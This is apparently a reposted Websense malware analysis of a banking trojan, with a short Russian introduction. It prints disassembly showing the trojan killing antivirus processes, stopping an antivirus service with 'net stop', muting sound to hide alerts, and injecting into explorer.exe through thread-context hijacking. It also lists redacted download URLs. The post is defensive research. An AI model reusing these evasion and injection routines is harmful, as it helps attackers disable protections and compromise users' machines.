Пример практического применения идей обхода/отключения средств защиты, о
которых давно говорили (в том числе и ЗАРАЗА).
http://www.websense.com/securitylabs/blog/blog.php?BlogID=113
Websense has been made aware of a malware affecting a bank in Norway. The
original file is called "Logo_1.exe" and its MD5 is:
FDA9408A56D97019DCEE36302CCEB6D1
The Custom Protector
The file is packed with a custom packer/protector, which we had never
encountered before. Here is a brief description of the packer and what it does
to prevent analysis.
The protected application doesn't run in a Virtual Machine (default
configuration). Once this problem is fixed, it generates 1372 (!) exceptions in
the loader to thwart debuggers, tracers, emulators, and so forth.
Three different exceptions occur:
* 1 occurrence of EXCEPTION_BREAKPOINT
* 2 occurrences of EXCEPTION_SINGLE_STEP
* 1369 occurrences of EXCEPTION_ACCESS_VIOLATION
After those anti-debugging tricks, the protector executes code from the Heap
(Allocated with VirtualAlloc), to decrypt/decompress the malware sections in
memory. After that, it loads the import of the malware, using a custom
GetProcAddress. Once the Import Address Table has been filled with the Windows
function addresses, it encrypts the imported function strings, to prevent easy
rebuilding of the import table.
There is a CRC to prevent patching of the protection code; therefore, the
protector will never call the original entry point if the code has been
patched, or if a software breakpoint is found in the routine. Parts of the
import handling code are similar to the original Yoda Cryptor source code, but
overall the packer is very different. Eventually, the packer uses a jump to the
original entry point, and the malware starts executing.
Note: There is an embedded dll in the executable, and it's also protected by
the same packer. After creating an unpacker for the executable, we used it to
handle that embedded dll file automatically.
The Malware
Both the executable and the embedded dll file were written in Delphi, resulting
in a rather bloated executable. There are no useful strings in the binaries in
the first place, because they are encoded and will only be decoded onto the
Heap. (Therefore, dumping the malware won't provide a binary with all strings
decrypted.)
A better approach is to use an IDC script (for instance) and decrypt the
strings, and you get interesting results.
Antivirus killing
One of the first things the malware does is to scan for security applications
in memory. It uses a few different techniques, including looking for Windows
Name, Process Name:
zjtr0:00407258 mov eax, offset aRavmon_exe ; "RavMon.exe"
zjtr0:0040725D call Decrypt_Strings
zjtr0:00407262 mov eax, [ebp+var_4]
zjtr0:00407265 call @@LStrToPChar ; __linkproc__
LStrToPChar
zjtr0:0040726A push eax ; lpWindowName
zjtr0:0040726B lea edx, [ebp+var_8]
zjtr0:0040726E mov eax, offset aRavmonclass ; "RavMonClass"
zjtr0:00407273 call Decrypt_Strings
zjtr0:00407278 mov eax, [ebp+var_8]
zjtr0:0040727B call @@LStrToPChar ; __linkproc__
LStrToPChar
zjtr0:00407280 push eax ; lpClassName
zjtr0:00407281 call FindWindowA
zjtr0:00407286 push 0 ; lParam
zjtr0:00407288 push 0 ; wParam
zjtr0:0040728A push WM_CLOSE ; Close Window
zjtr0:0040728C push eax ; hWnd
zjtr0:0040728D call SendMessageA ; Kill Some monitor
zjtr0:00407292 lea edx, [ebp+var_C]
zjtr0:00407295 mov eax, offset aEghost_exe ; "EGHOST.EXE"
zjtr0:0040729A call Decrypt_Strings
zjtr0:0040729F mov eax, [ebp+var_C]
zjtr0:004072A2 call Scan_process_and_kill
zjtr0:004072A7 lea edx, [ebp+var_10]
zjtr0:004072AA mov eax, offset aMailmon_exe ; "MAILMON.EXE"
zjtr0:004072AF call Decrypt_Strings
zjtr0:004072B4 mov eax, [ebp+var_10]
zjtr0:004072B7 call Scan_process_and_kill
It kills several antivirus products, if they are found in memory, as well as
some firewall products. It also tries to unload one antivirus product using
"net stop," as you can see below:
zjtr0:00408BA8 call Kill_AV_products
zjtr0:00408BAD lea edx, [ebp-8]
zjtr0:00408BB0 mov eax, offset aKvmonxp_kxp ; "KVMonXP.KXP"
zjtr0:00408BB5 call Decrypt_Strings
zjtr0:00408BBA mov eax, [ebp-8]
zjtr0:00408BBD call Scan_process_and_kill
zjtr0:00408BC2 lea edx, [ebp-0Ch]
zjtr0:00408BC5 mov eax, offset aKregex_exe ; "KRegEx.exe"
zjtr0:00408BCA call Decrypt_Strings
zjtr0:00408BCF mov eax, [ebp-0Ch]
zjtr0:00408BD2 call Scan_process_and_kill
zjtr0:00408BD7 lea edx, [ebp-10h]
zjtr0:00408BDA mov eax, offset aKvxp_kxp ; "KVXP.KXP"
zjtr0:00408BDF call Decrypt_Strings
zjtr0:00408BE4 mov eax, [ebp-10h]
zjtr0:00408BE7 call Scan_process_and_kill
zjtr0:00408BEC push 0
zjtr0:00408BEE lea edx, [ebp-14h]
zjtr0:00408BF1 mov eax, offset aNetStopKingsof
; "net stop \"Kingsoft AntiVirus Service\""
zjtr0:00408BF6 call Decrypt_Strings
zjtr0:00408BFB mov eax, [ebp-14h]
zjtr0:00408BFE call @@LStrToPChar ; __linkproc__
LStrToPChar
zjtr0:00408C03 push eax
zjtr0:00408C04 call WinExec
zjtr0:00408C09 lea eax, [ebp-4]
zjtr0:00408C0C push eax
zjtr0:00408C0D push 0
zjtr0:00408C0F push 0
zjtr0:00408C11 push offset Monitor_AVP_low_volume
zjtr0:00408C16 push 0
zjtr0:00408C18 push 0
zjtr0:00408C1A call CreateThread
zjtr0:00408C1F push 3E8h
zjtr0:00408C24 call Sleep
It generates a thread that scans for AVP Dialogs, and either simulates a mouse
button-click or just closes the window, using Windows Messages.
zjtr0:004087AD
zjtr0:004087AD loc_4087AD: ; CODE XREF:
sub_4086D8+230j
zjtr0:004087AD lea eax, [ebp+var_C]
zjtr0:004087B0 mov edx, offset aAvp_ ; "AVP."
zjtr0:004087B5 call @@LStrLAsg ; __linkproc__ LStrLAsg
zjtr0:004087BA push 0 ; LPCSTR
zjtr0:004087BC lea eax, [ebp+var_124]
zjtr0:004087C2 mov ecx, offset aButton ; "Button"
zjtr0:004087C7 mov edx, [ebp+var_C]
zjtr0:004087CA call @@LStrCat3 ; __linkproc__ LStrCat3
zjtr0:004087CF mov eax, [ebp+var_124]
zjtr0:004087D5 lea edx, [ebp+var_120]
zjtr0:004087DB call Decrypt_Strings
zjtr0:004087E0 mov eax, [ebp+var_120]
zjtr0:004087E6 call @@LStrToPChar ; __linkproc__
LStrToPChar
zjtr0:004087EB push eax ; LPCSTR
zjtr0:004087EC push ebx ; HWND
zjtr0:004087ED push edi ; HWND
zjtr0:004087EE call FindWindowExA
zjtr0:004087F3 mov ebx, eax
zjtr0:004087F5 test ebx, ebx
zjtr0:004087F7 jz simule_mouse_clic
Something we had never seen before was a malware that lowers the computer sound
volume, in order to prevent the users from hearing a warning sound generated by
antivirus programs. (Otherwise, that sound could still be heard, even if the
pop-ups were killed, and a user could suspect an attack.)
zjtr0:00408700 mov eax, offset aAvp_exe ; "avp.exe"
zjtr0:00408705 call Decrypt_Strings
zjtr0:0040870A mov eax, [ebp+var_114]
zjtr0:00408710 call sub_4076EC
zjtr0:00408715 test al, al
zjtr0:00408717 jz no_found
zjtr0:0040871D lea eax, [ebp+dwVolume]
zjtr0:00408720 push eax ; pdwVolume
zjtr0:00408721 push 0 ; hwo
zjtr0:00408723 call waveOutGetVolume
zjtr0:00408728 test eax, eax
zjtr0:0040872A jnz short loc_40873B
zjtr0:0040872C mov [ebp+var_5], 1
zjtr0:00408730 push 0 ; dwVolume
zjtr0:00408732 push 0 ; hwo
zjtr0:00408734 call waveOutSetVolume
zjtr0:00408739 jmp short find_AVP_dialogs
Injection, downloading, and more
When we received the sample, the sites used by this malware were already down,
so we couldn't get our hands on files that were located remotely. There were 10
files that were hosted on the same website, with different names, and we don't
know whether they were all different or not.
* http://down.[REMOVED].com/dow[REMOVED]1.exe
* http://down.[REMOVED].com/dow[REMOVED]2.exe
* http://down.[REMOVED].com/dow[REMOVED]3.exe
* http://down.[REMOVED].com/dow[REMOVED]4.exe
* http://down.[REMOVED].com/dow[REMOVED]5.exe
* http://down.[REMOVED].com/dow[REMOVED]6.exe
* http://down.[REMOVED].com/dow[REMOVED]7.exe
* http://down.[REMOVED].com/dow[REMOVED]8.exe
* http://down.[REMOVED].com/dow[REMOVED]9.exe
* http://down.[REMOVED].com/dow[REMOVED]10.exe
Before performing a few tasks, the malware first gets its own file size, and
determines whether the file has been unpacked. If the file is bigger than
expected, it deletes it. Then it creates a new one from a backup, and creates a
.bat file that deletes the new instance as soon as it's loaded. This ensures
integrity of the malware.
If the file size is good (or at least, if it thinks so ;-), the malware drops a
dll inside the Windows directory, RichDll.dll. The application injects a little
assembly stub inside explorer.exe that loads the dropped dll:
It doesn't use CreateRemoteThread to execute the injected code, but rather
suspends explorer.exe and gets the current context, then modifies the
context.EIP to point to a location in ntdll, sets the new context, and resumes
execution. This technique is used to avoid being detected by security products
looking for code injection (firewalls, antiviruses, and the like).
zjtr0:00406319 mov eax, hThread
zjtr0:0040631E push eax ; hThread
zjtr0:0040631F call SuspendThread
zjtr0:00406324 mov dword ptr [esp], CONTEXT_FULL
zjtr0:0040632B push esp ; lpContext
zjtr0:0040632C mov eax, hThread
zjtr0:00406331 push eax ; hThread
zjtr0:00406332 call GetThreadContext ; Grab the context
zjtr0:00406337 test eax, eax
zjtr0:00406339 jz short loc_40636C
zjtr0:0040633B push esi
zjtr0:0040633C lea esi, [esp+4]
zjtr0:00406340 mov edi, offset unk_4126D4
zjtr0:00406345 mov ecx, 51
zjtr0:0040634A rep movsd
zjtr0:0040634C pop esi
zjtr0:0040634D mov eax, dword_4126CC
zjtr0:00406352 mov [esp+CONTEXT.Eip], eax ; EAX = some dll
routine
zjtr0:00406359 mov [esp+0CCh+var_CC], 10007h
zjtr0:00406360 push esp ; lpContext
zjtr0:00406361 mov eax, hThread
zjtr0:00406366 push eax ; hThread
zjtr0:00406367 call SetThreadContext
zjtr0:0040636C
zjtr0:0040636C loc_40636C: ; CODE XREF:
sub_4062E4+55j
zjtr0:0040636C mov eax, hThread
zjtr0:00406371 push eax ; hThread
zjtr0:00406372 call ResumeThread
zjtr0:00406377 push 0 ; lParam
zjtr0:00406379 push 0 ; wParam
zjtr0:0040637B push 0 ; Msg
zjtr0:0040637D push esi ; idThread
zjtr0:0040637E call PostThreadMessageA
Once injected, it uses a Windows function to tell the main executable component
that the dll has been injected successfully.
The malware is copied in \Windows\uninstall\ under the name "rundl132.exe". The
registry key "Software\Microsoft\Windows\CurrentVersion\Run" is modified, a new
key "load" is created, and the value is the full path to the malware, so that
it can run again when Windows restarts.
A file _desktop.ini is created on C:\ containing the infection date, in clear
text.
The malware also scans the computer in various folders for .exe files, but we
haven't found evidence of replacement or infection.
Most importantly, the malware spreads on LANs, using shared folders ($IPC and
the like).
We couldn't do more analysis, because the downloaded components weren't
available at the time of the analysis. If you happen to have been infected by
this malware, and have the downloaded files, please contact me at
nbrulez(at)websense(dot)com
We thank EDB and Norman for providing samples for analysis.